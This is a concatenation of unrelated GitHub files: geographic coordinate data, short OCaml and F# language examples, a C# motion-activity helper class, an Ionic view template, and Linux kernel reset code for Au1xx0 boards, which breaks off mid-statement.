1.557169E+01 4.932403E+01 1.557206E+01 4.932405E+01 1.557212E+01 4.932404E+01 1.557251E+01 4.932406E+01 1.557255E+01 4.932406E+01 1.557260E+01 4.932406E+01 1.557275E+01 4.932407E+01 1.557281E+01 4.932403E+01 1.557276E+01 4.932394E+01 1.557289E+01 4.932383E+01 1.557299E+01 4.932384E+01 1.557302E+01 4.932390E+01 1.557297E+01 4.932395E+01 1.557300E+01 4.932397E+01 1.557305E+01 4.932396E+01 1.557309E+01 4.932388E+01 1.557314E+01 4.932389E+01 1.557321E+01 4.932386E+01 1.557319E+01 4.932384E+01 1.557311E+01 4.932380E+01 1.557315E+01 4.932377E+01 1.557334E+01 4.932376E+01 1.557336E+01 4.932384E+01 1.557348E+01 4.932385E+01 1.557350E+01 4.932383E+01 1.557349E+01 4.932375E+01 1.557365E+01 4.932372E+01 1.557369E+01 4.932365E+01 1.557362E+01 4.932354E+01 1.557341E+01 4.932357E+01 1.557340E+01 4.932353E+01 1.557343E+01 4.932339E+01 1.557334E+01 4.932333E+01 1.557339E+01 4.932325E+01 1.557352E+01 4.932330E+01 1.557356E+01 4.932328E+01 1.557359E+01 4.932323E+01 1.557356E+01 4.932320E+01 1.557345E+01 4.932317E+01 1.557343E+01 4.932316E+01 1.557341E+01 4.932306E+01 1.557337E+01 4.932306E+01 1.557313E+01 4.932308E+01 1.557310E+01 4.932301E+01 1.557306E+01 4.932292E+01 1.557327E+01 4.932290E+01 1.557330E+01 4.932290E+01 1.557340E+01 4.932280E+01 1.557337E+01 4.932274E+01 1.557328E+01 4.932268E+01 1.557324E+01 4.932269E+01 1.557230E+01 4.932279E+01 1.557213E+01 4.932268E+01 1.557199E+01 4.932226E+01 1.557294E+01 4.932208E+01 1.557299E+01 4.932207E+01 1.557289E+01 4.932202E+01 1.557275E+01 4.932201E+01 1.557271E+01 4.932195E+01 1.557266E+01 4.932195E+01 1.557262E+01 4.932200E+01 1.557257E+01 4.932200E+01 1.557246E+01 4.932193E+01 1.557247E+01 4.932187E+01 1.557244E+01 4.932178E+01 1.557234E+01 4.932175E+01 1.557228E+01 4.932162E+01 1.557224E+01 4.932162E+01 1.557206E+01 4.932167E+01 1.557200E+01 4.932163E+01 1.557190E+01 4.932165E+01 1.557187E+01 4.932150E+01 1.557179E+01 4.932135E+01 1.557168E+01 4.932099E+01 1.557214E+01 4.932115E+01 1.557243E+01 4.932120E+01 1.557248E+01 4.932120E+01 1.557232E+01 4.932105E+01 1.557237E+01 4.932098E+01 1.557258E+01 4.932085E+01 1.557268E+01 4.932077E+01 1.557262E+01 4.932074E+01 1.557265E+01 4.932066E+01 1.557277E+01 4.932063E+01 1.557275E+01 4.932057E+01 1.557265E+01 4.932053E+01 1.557265E+01 4.932051E+01 1.557275E+01 4.932050E+01 1.557280E+01 4.932048E+01 1.557281E+01 4.932041E+01 1.557293E+01 4.932038E+01 1.557293E+01 4.932027E+01 1.557291E+01 4.932025E+01 1.557283E+01 4.932023E+01 1.557277E+01 4.932026E+01 1.557281E+01 4.932030E+01 1.557282E+01 4.932032E+01 1.557263E+01 4.932036E+01 1.557260E+01 4.932032E+01 1.557242E+01 4.932034E+01 1.557237E+01 4.932030E+01 1.557246E+01 4.932014E+01 1.557264E+01 4.932009E+01 1.557283E+01 4.932008E+01 1.557288E+01 4.932003E+01 1.557295E+01 4.932002E+01 1.557293E+01 4.932008E+01 1.557302E+01 4.932010E+01 1.557307E+01 4.932007E+01 1.557300E+01 4.931995E+01 1.557290E+01 4.931993E+01 1.557283E+01 4.931997E+01 1.557276E+01 4.931997E+01 1.557273E+01 4.931992E+01 1.557289E+01 4.931975E+01 1.557292E+01 4.931975E+01 1.557298E+01 4.931975E+01 1.557367E+01 4.931914E+01 1.557412E+01 4.931933E+01 1.557510E+01 4.931971E+01 1.557536E+01 4.931979E+01 1.557590E+01 4.932000E+01 1.557632E+01 4.932017E+01 1.557653E+01 4.932025E+01 1.557701E+01 4.932043E+01 1.557726E+01 4.932052E+01 1.557754E+01 4.932060E+01 1.557791E+01 4.932070E+01 1.557819E+01 4.932077E+01 1.557823E+01 4.932078E+01 1.557835E+01 4.932080E+01 1.557863E+01 4.932085E+01 1.557871E+01 4.932087E+01 1.557880E+01 4.932090E+01 1.557895E+01 4.932093E+01 1.557910E+01 4.932097E+01 1.557929E+01 4.932101E+01 1.557955E+01 4.932108E+01 1.557979E+01 4.932116E+01 1.558001E+01 4.932122E+01 1.558030E+01 4.932132E+01 1.558048E+01 4.932135E+01 1.558097E+01 4.932143E+01 1.558150E+01 4.932149E+01 1.558194E+01 4.932151E+01 1.558257E+01 4.932151E+01 1.558306E+01 4.932144E+01 1.558318E+01 4.932142E+01 1.558354E+01 4.932136E+01 1.558406E+01 4.932126E+01 1.558457E+01 4.932113E+01 1.558519E+01 4.932097E+01 1.558565E+01 4.932090E+01 1.558605E+01 4.932084E+01 1.558623E+01 4.932084E+01 1.558659E+01 4.932086E+01 1.558745E+01 4.932088E+01 1.558779E+01 4.932088E+01 1.558808E+01 4.932087E+01 1.558870E+01 4.932082E+01 1.558903E+01 4.932075E+01 1.558922E+01 4.932072E+01 1.558931E+01 4.932070E+01 1.559007E+01 4.932061E+01 1.559030E+01 4.932058E+01 1.559068E+01 4.932054E+01 1.559215E+01 4.932019E+01 1.559246E+01 4.932010E+01 1.559284E+01 4.931998E+01 1.559299E+01 4.931993E+01 1.559318E+01 4.931988E+01 1.559358E+01 4.931970E+01 1.559364E+01 4.931967E+01 1.559385E+01 4.931956E+01 1.559401E+01 4.931934E+01 1.559457E+01 4.931864E+01 1.559482E+01 4.931836E+01 1.559498E+01 4.931819E+01 1.559579E+01 4.931725E+01 1.559678E+01 4.931616E+01 1.559687E+01 4.931599E+01 1.559753E+01 4.931495E+01 1.559782E+01 4.931457E+01 1.559823E+01 4.931411E+01 1.559900E+01 4.931344E+01 1.559931E+01 4.931315E+01 1.559981E+01 4.931255E+01 1.559967E+01 4.931251E+01 1.559947E+01 4.931251E+01 1.559913E+01 4.931235E+01 1.559873E+01 4.931194E+01 1.559801E+01 4.931108E+01 1.559765E+01 4.931084E+01 1.559537E+01 4.930956E+01 1.559467E+01 4.930936E+01 1.559438E+01 4.930923E+01 1.559383E+01 4.930880E+01 1.559372E+01 4.930864E+01 1.559336E+01 4.930791E+01 1.559313E+01 4.930739E+01 1.559286E+01 4.930701E+01 1.559264E+01 4.930706E+01 1.559173E+01 4.930699E+01 1.559141E+01 4.930684E+01 1.559171E+01 4.930639E+01 1.559278E+01 4.930502E+01 1.559314E+01 4.930418E+01 1.559323E+01 4.930396E+01 1.559350E+01 4.930345E+01 1.559383E+01 4.930301E+01 1.559380E+01 4.930279E+01 1.559398E+01 4.930246E+01 1.559438E+01 4.930209E+01 1.559453E+01 4.930189E+01 1.559475E+01 4.930159E+01 1.559497E+01 4.930141E+01 1.559535E+01 4.930122E+01 1.559504E+01 4.929946E+01 1.559455E+01 4.929827E+01 1.559674E+01 4.929776E+01 1.559707E+01 4.929767E+01 1.559885E+01 4.929731E+01 1.560004E+01 4.929714E+01 1.560098E+01 4.929707E+01 1.560139E+01 4.929704E+01 1.560195E+01 4.929704E+01 1.560350E+01 4.929708E+01 1.560377E+01 4.929705E+01 1.560397E+01 4.929714E+01 1.560511E+01 4.929705E+01 1.560500E+01 4.929637E+01 1.560578E+01 4.929635E+01 1.560621E+01 4.929613E+01 1.560654E+01 4.929586E+01 1.560664E+01 4.929577E+01 1.560696E+01 4.929543E+01 1.560737E+01 4.929490E+01 1.560742E+01 4.929447E+01 1.560756E+01 4.929399E+01 1.560797E+01 4.929344E+01 1.560812E+01 4.929319E+01 1.560828E+01 4.929261E+01 1.560865E+01 4.929193E+01 1.560873E+01 4.929171E+01 1.560882E+01 4.929152E+01 1.560888E+01 4.929145E+01 1.560879E+01 4.929144E+01 1.560712E+01 4.929121E+01 1.560496E+01 4.929095E+01 1.560418E+01 4.929090E+01 1.560383E+01 4.929089E+01 1.560329E+01 4.929082E+01 1.560275E+01 4.929083E+01 1.560198E+01 4.929090E+01 1.559860E+01 4.929120E+01 1.559787E+01 4.929126E+01 1.559773E+01 4.929130E+01 1.559614E+01 4.929168E+01 1.559603E+01 4.929173E+01 1.559505E+01 4.929191E+01 1.559495E+01 4.929192E+01 1.559474E+01 4.929205E+01 1.559433E+01 4.929199E+01 1.559390E+01 4.929206E+01 1.559365E+01 4.929205E+01 1.559327E+01 4.929205E+01 1.559317E+01 4.929203E+01 1.559313E+01 4.929211E+01 1.559287E+01 4.929210E+01 1.559234E+01 4.929197E+01 1.559229E+01 4.929207E+01 1.559218E+01 4.929204E+01 1.559217E+01 4.929198E+01 1.559201E+01 4.929207E+01 1.559179E+01 4.929207E+01 1.559165E+01 4.929202E+01 1.559164E+01 4.929192E+01 1.559108E+01 4.929181E+01 1.559102E+01 4.929174E+01 1.559075E+01 4.929170E+01 1.559068E+01 4.929160E+01 1.559059E+01 4.929160E+01 1.559048E+01 4.929157E+01 1.559030E+01 4.929156E+01 1.559022E+01 4.929163E+01 1.559010E+01 4.929164E+01 1.559009E+01 4.929158E+01 1.558999E+01 4.929153E+01 1.558987E+01 4.929152E+01 1.558972E+01 4.929160E+01 1.558964E+01 4.929152E+01 1.558957E+01 4.929152E+01 1.558952E+01 4.929156E+01 1.558947E+01 4.929152E+01 1.558937E+01 4.929150E+01 1.558917E+01 4.929158E+01 1.558901E+01 4.929153E+01 1.558887E+01 4.929163E+01 1.558839E+01 4.929164E+01 1.558788E+01 4.929162E+01 1.558772E+01 4.929146E+01 1.558770E+01 4.929125E+01 1.558758E+01 4.929122E+01 1.558745E+01 4.929101E+01 1.558745E+01 4.929089E+01 1.558737E+01 4.929070E+01 1.558719E+01 4.929053E+01 1.558697E+01 4.929041E+01 1.558634E+01 4.929046E+01 1.558618E+01 4.929040E+01 1.558608E+01 4.929026E+01 1.558576E+01 4.929024E+01 1.558555E+01 4.929020E+01 1.558540E+01 4.929003E+01 1.558510E+01 4.929003E+01 1.558471E+01 4.928987E+01 1.558445E+01 4.928977E+01 1.558436E+01 4.928987E+01 1.558377E+01 4.928962E+01 1.558381E+01 4.928952E+01 1.558373E+01 4.928919E+01 1.558354E+01 4.928885E+01 1.558316E+01 4.928904E+01 1.558183E+01 4.928937E+01 1.558151E+01 4.928945E+01 1.558128E+01 4.928974E+01 1.557985E+01 4.928986E+01 1.557799E+01 4.928994E+01 1.557689E+01 4.928985E+01 1.557678E+01 4.928985E+01 1.557627E+01 4.928981E+01 1.557502E+01 4.928980E+01 1.557349E+01 4.928985E+01 1.557330E+01 4.928986E+01 1.557281E+01 4.928987E+01 1.557103E+01 4.928988E+01 1.557011E+01 4.928989E+01 1.556905E+01 4.928989E+01 1.556845E+01 4.928984E+01 1.556736E+01 4.928970E+01 1.556621E+01 4.928952E+01 1.556568E+01 4.928944E+01 1.556444E+01 4.928928E+01 1.556290E+01 4.928900E+01 1.556099E+01 4.928875E+01 1.555988E+01 4.928860E+01 1.555844E+01 4.928845E+01 1.555790E+01 4.928840E+01 1.555680E+01 4.928833E+01 1.555651E+01 4.928827E+01 1.555490E+01 4.928791E+01 1.555320E+01 4.928758E+01 1.555312E+01 4.928756E+01 1.555287E+01 4.928737E+01 1.555276E+01 4.928729E+01 1.555244E+01 4.928704E+01 1.555235E+01 4.928698E+01 1.555225E+01 4.928694E+01 1.555223E+01 4.928693E+01 1.555193E+01 4.928723E+01 1.555172E+01 4.928740E+01 1.555154E+01 4.928754E+01 1.555152E+01 4.928755E+01 1.555090E+01 4.928779E+01 1.555085E+01 4.928797E+01 1.555092E+01 4.928804E+01 1.555090E+01 4.928830E+01 1.555071E+01 4.928870E+01 1.555048E+01 4.928898E+01 1.555020E+01 4.928917E+01 1.554983E+01 4.928988E+01 1.554949E+01 4.929011E+01 1.554922E+01 4.929047E+01 1.554879E+01 4.929101E+01 1.554890E+01 4.929109E+01 1.554880E+01 4.929123E+01 1.554889E+01 4.929125E+01 1.554888E+01 4.929131E+01 1.554881E+01 4.929131E+01 1.554886E+01 4.929137E+01 1.554877E+01 4.929138E+01 1.554885E+01 4.929146E+01 1.554881E+01 4.929154E+01 1.554871E+01 4.929158E+01 1.554877E+01 4.929163E+01 1.554881E+01 4.929168E+01 1.554887E+01 4.929185E+01 1.554896E+01 4.929180E+01 1.554903E+01 4.929168E+01 1.554905E+01 4.929174E+01 1.554911E+01 4.929174E+01 1.554904E+01 4.929181E+01 1.554906E+01 4.929186E+01 1.554929E+01 4.929189E+01 1.554928E+01 4.929183E+01 1.554940E+01 4.929185E+01 1.554934E+01 4.929195E+01 1.554938E+01 4.929199E+01 1.554932E+01 4.929210E+01 1.554939E+01 4.929216E+01 1.554930E+01 4.929223E+01 1.554933E+01 4.929225E+01 1.554922E+01 4.929228E+01 1.554938E+01 4.929235E+01 1.554936E+01 4.929240E+01 1.554941E+01 4.929243E+01 1.554934E+01 4.929249E+01 1.554948E+01 4.929255E+01 1.554946E+01 4.929261E+01 1.554934E+01 4.929260E+01 1.554940E+01 4.929283E+01 1.554938E+01 4.929294E+01 1.554927E+01 4.929298E+01 1.554934E+01 4.929303E+01 1.554936E+01 4.929310E+01 1.554933E+01 4.929317E+01 1.554952E+01 4.929316E+01 1.554942E+01 4.929325E+01 1.554959E+01 4.929329E+01 1.554948E+01 4.929332E+01 1.554956E+01 4.929340E+01 1.554947E+01 4.929342E+01 1.554966E+01 4.929351E+01 1.554966E+01 4.929361E+01 1.554947E+01 4.929356E+01 1.554950E+01 4.929363E+01 1.554936E+01 4.929361E+01 1.554938E+01 4.929373E+01 1.554949E+01 4.929374E+01 1.554941E+01 4.929381E+01 1.554938E+01 4.929390E+01 1.554941E+01 4.929394E+01 1.554948E+01 4.929388E+01 1.554952E+01 4.929400E+01 1.554962E+01 4.929406E+01 1.554953E+01 4.929413E+01 1.554966E+01 4.929411E+01 1.554962E+01 4.929417E+01 1.554966E+01 4.929422E+01 1.554974E+01 4.929422E+01 1.554979E+01 4.929429E+01 1.554963E+01 4.929441E+01 1.554982E+01 4.929442E+01 1.554969E+01 4.929452E+01 1.554967E+01 4.929459E+01 1.554956E+01 4.929470E+01 1.554962E+01 4.929473E+01 1.554960E+01 4.929489E+01 1.554964E+01 4.929497E+01 1.554955E+01 4.929496E+01 1.554964E+01 4.929503E+01 1.554944E+01 4.929512E+01 1.554950E+01 4.929517E+01 1.554945E+01 4.929520E+01 1.554941E+01 4.929533E+01 1.554950E+01 4.929535E+01 1.554945E+01 4.929544E+01 1.554966E+01 4.929546E+01 1.554961E+01 4.929552E+01 1.554973E+01 4.929549E+01 1.554977E+01 4.929562E+01 1.554987E+01 4.929559E+01 1.554999E+01 4.929566E+01 1.554998E+01 4.929571E+01 1.555007E+01 4.929570E+01 1.554995E+01 4.929578E+01 1.555017E+01 4.929585E+01 1.555015E+01 4.929589E+01 1.555021E+01 4.929592E+01 1.555024E+01 4.929585E+01 1.555031E+01 4.929586E+01 1.555033E+01 4.929578E+01 1.555051E+01 4.929579E+01 1.555056E+01 4.929572E+01 1.555077E+01 4.929574E+01 1.555082E+01 4.929571E+01 1.555100E+01 4.929576E+01 1.555114E+01 4.929596E+01 1.555126E+01 4.929597E+01 1.555140E+01 4.929609E+01 1.555137E+01 4.929610E+01 1.555141E+01 4.929631E+01 1.555195E+01 4.929686E+01 1.555223E+01 4.929678E+01 1.555232E+01 4.929689E+01 1.555241E+01 4.929685E+01 1.555251E+01 4.929700E+01 1.555258E+01 4.929709E+01 1.555266E+01 4.929723E+01 1.555277E+01 4.929746E+01 1.555277E+01 4.929780E+01 1.555294E+01 4.929802E+01 1.555310E+01 4.929821E+01 1.555313E+01 4.929836E+01 1.555328E+01 4.929851E+01 1.555355E+01 4.929872E+01 1.555358E+01 4.929877E+01 1.555373E+01 4.929886E+01 1.555364E+01 4.929886E+01 1.555362E+01 4.929894E+01 1.555376E+01 4.929900E+01 1.555386E+01 4.929900E+01 1.555389E+01 4.929905E+01 1.555393E+01 4.929912E+01 1.555401E+01 4.929915E+01 1.555408E+01 4.929927E+01 1.555419E+01 4.929930E+01 1.555422E+01 4.929923E+01 1.555443E+01 4.929925E+01 1.555438E+01 4.929933E+01 1.555451E+01 4.929940E+01 1.555474E+01 4.929945E+01 1.555477E+01 4.929946E+01 1.555514E+01 4.929966E+01 1.555536E+01 4.929978E+01 1.555543E+01 4.929992E+01 1.555559E+01 4.929995E+01 1.555555E+01 4.930000E+01 1.555546E+01 4.929999E+01 1.555542E+01 4.930008E+01 1.555560E+01 4.930015E+01 1.555567E+01 4.930023E+01 1.555560E+01 4.930031E+01 1.555567E+01 4.930034E+01 1.555564E+01 4.930049E+01 1.555565E+01 4.930072E+01 1.555577E+01 4.930079E+01 1.555585E+01 4.930077E+01 1.555582E+01 4.930091E+01 1.555594E+01 4.930092E+01 1.555595E+01 4.930097E+01 1.555583E+01 4.930099E+01 1.555587E+01 4.930107E+01 1.555597E+01 4.930110E+01 1.555600E+01 4.930100E+01 1.555609E+01 4.930103E+01 1.555607E+01 4.930110E+01 1.555613E+01 4.930109E+01 1.555620E+01 4.930111E+01 1.555618E+01 4.930118E+01 1.555627E+01 4.930126E+01 1.555625E+01 4.930132E+01 1.555641E+01 4.930128E+01 1.555647E+01 4.930134E+01 1.555636E+01 4.930138E+01 1.555639E+01 4.930148E+01 1.555630E+01 4.930156E+01 1.555631E+01 4.930167E+01 1.555668E+01 4.930182E+01 1.555693E+01 4.930167E+01 1.555784E+01 4.930208E+01 1.555820E+01 4.930232E+01 1.555840E+01 4.930233E+01 1.555837E+01 4.930238E+01 1.555852E+01 4.930249E+01 1.555861E+01 4.930243E+01 1.555866E+01 4.930242E+01 1.555861E+01 4.930251E+01 1.555874E+01 4.930259E+01 1.555875E+01 4.930268E+01 1.555888E+01 4.930268E+01 1.555887E+01 4.930274E+01 1.555899E+01 4.930272E+01 1.555895E+01 4.930266E+01 1.555910E+01 4.930267E+01 1.555910E+01 4.930276E+01 1.555921E+01 4.930291E+01 1.555904E+01 4.930316E+01 1.555902E+01 4.930318E+01 1.555873E+01 4.930345E+01 1.555861E+01 4.930364E+01 1.555764E+01 4.930457E+01 1.555676E+01 4.930558E+01 1.555567E+01 4.930676E+01 1.555530E+01 4.930698E+01 1.555483E+01 4.930724E+01 1.555407E+01 4.930751E+01 1.555388E+01 4.930757E+01 1.555341E+01 4.930761E+01 1.555172E+01 4.930819E+01 1.555089E+01 4.930840E+01 1.554982E+01 4.930868E+01 1.554902E+01 4.930894E+01 1.554860E+01 4.930909E+01 1.554835E+01 4.930922E+01 1.554784E+01 4.930936E+01 1.554670E+01 4.930970E+01 1.554432E+01 4.931016E+01 END END
{ "pile_set_name": "Github" }
(* Basic. *) let _ = object method foo = () end
{ "pile_set_name": "Github" }
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace Shiny.Locations { public static class MotionActivityExtensions { /// <summary> /// Queries for the most current event /// </summary> /// <param name="activity"></param> /// <param name="maxAge">Timespan containing max age of "current"</param> /// <returns></returns> public static async Task<MotionActivityEvent> GetCurrentActivity(this IMotionActivityManager activity, TimeSpan? maxAge = null) { maxAge = maxAge ?? TimeSpan.FromMinutes(5); var end = DateTimeOffset.UtcNow; var start = end.Subtract(maxAge.Value); var result = (await activity.Query(start, end)).OrderBy(x => x.Timestamp).FirstOrDefault(); return result; } //public static async Task<IList<MotionActivityTimeBlock>> GetTimeBlocksForRange(this IMotionActivity activity, // DateTimeOffset start, // DateTimeOffset? end = null, // MotionActivityConfidence minConfidence = MotionActivityConfidence.Medium) //{ // var list = new List<MotionActivityTimeBlock>(); // var result = await activity.Query(start, end); // var set = result // .Where(x => x.Confidence >= minConfidence) // .OrderBy(x => x.Timestamp) // .ToList(); // if (set.Count > 1) // { // MotionActivityEvent firstEvent = null; // foreach (var item in set) // { // if (firstEvent == null) // firstEvent = item; // else if (!firstEvent.Types.HasFlag(item.Types)) // has to have 1 of the types // { // var block = new MotionActivityTimeBlock(item.Types, firstEvent.Timestamp, item.Timestamp); // list.Add(block); // // first event of next time block // firstEvent = item; // } // } // } // return list; //} //public static async Task<IDictionary<MotionActivityType, TimeSpan>> GetTotalsForRange(this IMotionActivity activity, // DateTimeOffset start, // DateTimeOffset? end = null, // MotionActivityConfidence minConfidence = MotionActivityConfidence.Medium) //{ // var dict = new Dictionary<MotionActivityType, TimeSpan>(); // var result = await activity.Query(start, end); // var set = result // .Where(x => x.Confidence >= minConfidence) // .OrderBy(x => x.Timestamp) // .ToList(); // if (set.Count > 1) // { // MotionActivityEvent lastEvent = null; // foreach (var item in set) // { // if (lastEvent == null) // lastEvent = item; // else // { // if (!dict.ContainsKey(item.Types)) // dict.Add(item.Types, TimeSpan.Zero); // var ts = item.Timestamp.Subtract(lastEvent.Timestamp); // dict[item.Types] += ts; // } // } // } // return dict; //} /// <summary> /// Queries for the most current event and checks against type & confidence /// </summary> /// <param name="activity"></param> /// <param name="type"></param> /// <param name="maxAge"></param> /// <param name="minConfidence"></param> /// <returns></returns> public static async Task<bool> IsCurrentActivity(this IMotionActivityManager activity, MotionActivityType type, TimeSpan? maxAge = null, MotionActivityConfidence minConfidence = MotionActivityConfidence.Medium) { var result = await activity.GetCurrentActivity(maxAge); //if (result == default(MotionActivityEvent)) //return false; if (result.Confidence < minConfidence) return false; return result.Types.HasFlag(type); } /// <summary> /// Queries if most recent activity is automotive /// </summary> /// <param name="activity"></param> /// <param name="maxAge"></param> /// <param name="minConfidence"></param> /// <returns></returns> public static Task<bool> IsCurrentAutomotive(this IMotionActivityManager activity, TimeSpan? maxAge = null, MotionActivityConfidence minConfidence = MotionActivityConfidence.Medium) => activity.IsCurrentActivity(MotionActivityType.Automotive, maxAge, minConfidence); /// <summary> /// Queries if most recent activity is stationary /// </summary> /// <param name="activity"></param> /// <param name="maxAge"></param> /// <param name="minConfidence"></param> /// <returns></returns> public static Task<bool> IsCurrentStationary(this IMotionActivityManager activity, TimeSpan? maxAge = null, MotionActivityConfidence minConfidence = MotionActivityConfidence.Medium) => activity.IsCurrentActivity(MotionActivityType.Stationary, maxAge, minConfidence); /// <summary> /// Queries for activities for an entire day (beginning to end) /// </summary> /// <param name="activity"></param> /// <param name="date"></param> /// <returns></returns> public static Task<IList<MotionActivityEvent>> QueryByDate(this IMotionActivityManager activity, DateTimeOffset date) { var range = date.GetRangeForDate(); return activity.Query(range.Start, range.End); } } }
{ "pile_set_name": "Github" }
100 10 0 nan nan 100
{ "pile_set_name": "Github" }
<ion-view sb-page-background class="sourcecode-view"> <ion-nav-title>{{ page_title }}</ion-nav-title> <ion-content class="sourcecode-view" overflow-scroll="true"> <iframe id="sourcecode-iframe" data-value-id="{{ value_id }}" width="100%" height="100%" ></iframe> </ion-content> </ion-view>
{ "pile_set_name": "Github" }
(* example of unboxing an obj to an unknown type *) let unboxAndPrint x = match x with | :? string as s -> printfn "%s" s | _ -> printfn "not a string" (* fixing the error by giving `x` a known type *) let unboxAndPrint (x: obj) = match x with | :? string as s -> printfn "%s" s | _ -> printfn "not a string" (* fixing the error by using `x` in a way the constrains the known types *) let unboxAndPrint x = printfn "%s" (string x)
{ "pile_set_name": "Github" }
/* * * BRIEF MODULE DESCRIPTION * Au1xx0 reset routines. * * Copyright 2001, 2006, 2008 MontaVista Software Inc. * Author: MontaVista Software, Inc. <[email protected]> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later version. * * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN * NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 675 Mass Ave, Cambridge, MA 02139, USA. */ #include <linux/gpio.h> #include <asm/cacheflush.h> #include <asm/mach-au1x00/au1000.h> void au1000_restart(char *command) { /* Set all integrated peripherals to disabled states */ extern void board_reset(void); u32 prid = read_c0_prid(); printk(KERN_NOTICE "\n** Resetting Integrated Peripherals\n"); switch (prid & 0xFF000000) { case 0x00000000: /* Au1000 */ au_writel(0x02, 0xb0000010); /* ac97_enable */ au_writel(0x08, 0xb017fffc); /* usbh_enable - early errata */ asm("sync"); au_writel(0x00, 0xb017fffc); /* usbh_enable */ au_writel(0x00, 0xb0200058); /* usbd_enable */ au_writel(0x00, 0xb0300040); /* ir_enable */ au_writel(0x00, 0xb4004104); /* mac dma */ au_writel(0x00, 0xb4004114); /* mac dma */ au_writel(0x00, 0xb4004124); /* mac dma */ au_writel(0x00, 0xb4004134); /* mac dma */ au_writel(0x00, 0xb0520000); /* macen0 */ au_writel(0x00, 0xb0520004); /* macen1 */ au_writel(0x00, 0xb1000008); /* i2s_enable */ au_writel(0x00, 0xb1100100); /* uart0_enable */ au_writel(0x00, 0xb1200100); /* uart1_enable */ au_writel(0x00, 0xb1300100); /* uart2_enable */ au_writel(0x00, 0xb1400100); /* uart3_enable */ au_writel(0x02, 0xb1600100); /* ssi0_enable */ au_writel(0x02, 0xb1680100); /* ssi1_enable */ au_writel(0x00, 0xb1900020); /* sys_freqctrl0 */ au_writel(0x00, 0xb1900024); /* sys_freqctrl1 */ au_writel(0x00, 0xb1900028); /* sys_clksrc */ au_writel(0x10, 0xb1900060); /* sys_cpupll */ au_writel(0x00, 0xb1900064); /* sys_auxpll */ au_writel(0x00, 0xb1900100); /* sys_pininputen */ break; case 0x01000000: /* Au1500 */ au_writel(0x02, 0xb0000010); /* ac97_enable */ au_writel(0x08, 0xb017fffc); /* usbh_enable - early errata */ asm("sync"); au_writel(0x00, 0xb017fffc); /* usbh_enable */ au_writel(0x00, 0xb0200058); /* usbd_enable */ au_writel(0x00, 0xb4004104); /* mac dma */ au_writel(0x00, 0xb4004114); /* mac dma */ au_writel(0x00, 0xb4004124); /* mac dma */ au_writel(0x00, 0xb4004134); /* mac dma */ au_writel(0x00, 0xb1520000); /* macen0 */ au_writel(0x00, 0xb1520004); /* macen1 */ au_writel(0x00, 0xb1100100); /* uart0_enable */ au_writel(0x00, 0xb1400100); /* uart3_enable */ au_writel(0x00, 0xb1900020); /* sys_freqctrl0 */ au_writel(0x00, 0xb1900024); /* sys_freqctrl1 */ au_writel(0x00, 0xb1900028); /* sys_clksrc */ au_writel(0x10, 0xb1900060); /* sys_cpupll */ au_writel(0x00, 0xb1900064); /* sys_auxpll */ au_writel(0x00, 0xb1900100); /* sys_pininputen */ break; case 0x02000000: /* Au1100 */ au_writel(0x02, 0xb0000010); /* ac97_enable */ au_writel(0x08, 0xb017fffc); /* usbh_enable - early errata */ asm("sync"); au_writel(0x00, 0xb017fffc); /* usbh_enable */ au_writel(0x00, 0xb0200058); /* usbd_enable */ au_writel(0x00, 0xb0300040); /* ir_enable */ au_writel(0x00, 0xb4004104); /* mac dma */ au_writel(0x00, 0xb4004114); /* mac dma */ au_writel(0x00, 0xb4004124); /* mac dma */ au_writel(0x00, 0xb4004134); /* mac dma */ au_writel(0x00, 0xb0520000); /* macen0 */ au_writel(0x00, 0xb1000008); /* i2s_enable */ au_writel(0x00, 0xb1100100); /* uart0_enable */ au_writel(0x00, 0xb1200100); /* uart1_enable */ au_writel(0x00, 0xb1400100); /* uart3_enable */ au_writel(0x02, 0xb1600100); /* ssi0_enable */ au_writel(0x02, 0xb1680100); /* ssi1_enable */ au_writel(0x00, 0xb1900020); /* sys_freqctrl0 */ au_writel(0x00, 0xb1900024); /* sys_freqctrl1 */ au_writel(0x00, 0xb1900028); /* sys_clksrc */ au_writel(0x10, 0xb1900060); /* sys_cpupll */ au_writel(0x00, 0xb1900064); /* sys_auxpll */ au_writel(0x00, 0xb1900100); /* sys_pininputen */ break; case 0x03000000: /* Au1550 */ au_writel(0x00, 0xb1a00004); /* psc 0 */ au_writel(0x00, 0xb1b00004); /* psc 1 */ au_writel(0x00, 0xb0a00004); /* psc 2 */ au_writel(0x00, 0xb0b00004); /* psc 3 */ au_writel(0x00, 0xb017fffc); /* usbh_enable */ au_writel(0x00, 0xb0200058); /* usbd_enable */ au_writel(0x00, 0xb4004104); /* mac dma */ au_writel(0x00, 0xb4004114); /* mac dma */ au_writel(0x00, 0xb4004124); /* mac dma */ au_writel(0x00, 0xb4004134); /* mac dma */ au_writel(0x00, 0xb1520000); /* macen0 */ au_writel(0x00, 0xb1520004); /* macen1 */ au_writel(0x00, 0xb1100100); /* uart0_enable */ au_writel(0x00, 0xb1200100); /* uart1_enable */ au_writel(0x00, 0xb1400100); /* uart3_enable */ au_writel(0x00, 0xb1900020); /* sys_freqctrl0 */ au_writel(0x00, 0xb1900024); /* sys_freqctrl1 */ au_writel(0x00, 0xb1900028); /* sys_clksrc */ au_writel(0x10, 0xb1900060); /* sys_cpupll */ au_writel(0x00, 0xb1900064); /* sys_auxpll */ au_writel(0x00, 0xb1900100); /* sys_pininputen */ break; } set_c0_status(ST0_BEV | ST0_ERL); change_c0_config(CONF_CM_CMASK, 